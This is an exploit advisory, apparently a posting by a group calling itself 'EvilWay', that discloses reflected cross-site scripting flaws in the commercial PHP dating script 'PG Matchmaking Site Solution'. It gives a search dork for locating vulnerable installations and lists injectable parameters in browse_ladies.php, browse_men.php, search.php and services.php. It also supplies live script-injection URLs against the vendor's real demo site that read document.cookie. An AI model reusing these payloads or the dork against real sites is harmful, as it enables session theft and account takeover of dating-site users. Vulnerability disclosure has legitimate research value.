========== [&#187;] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!] ========== [&#187;] PG Matchmaking Site Solution Remote XSS Vulnerabilities ========== [&#187;] Script: [ PG Matchmaking Site Solution ] [&#187;] Language: [ PHP ] [&#187;] Download: [ http://www.datingpro.com/matchmaking/ ] [&#187;] Founder: [ Moudi <m0udi@9.cn> ] [&#187;] Thanks to: [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...] [&#187;] Team: [ EvilWay ] [&#187;] Dork: [ Powered by PG Matchmaking Solution ] [&#187;] Price: [ $699.00 ] [&#187;] Site : [ https://security-shell.ws/forum.php ] ############## ===[ Exploit XSS + LIVE : vulnerability ]=== [&#187;] http://www.site.com/patch/browse_ladies.php?show=[XSS] [&#187;] http://www.site.com/patch/browse_men.php?show=[XSS] [&#187;] http://www.site.com/patch/search.php?search=SEARCH&gender=[XSS] [&#187;] http://www.site.com/patch/services.php?id=[XSS] [&#187;] http://www.datingpro.com/matchmaking/demo/browse_ladies.php?show="><script>alert(document.cookie);</script> [&#187;] http://www.datingpro.com/matchmaking/demo/browse_men.php?show="><script>alert(document.cookie);</script> [&#187;] http://www.datingpro.com/matchmaking/demo/search.php?search=SEARCH&gender="><script>alert(document.cookie);</script> [&#187;] http://www.datingpro.com/matchmaking/demo/services.php?id="><script>alert(document.cookie);</script> Author: Moudi ##############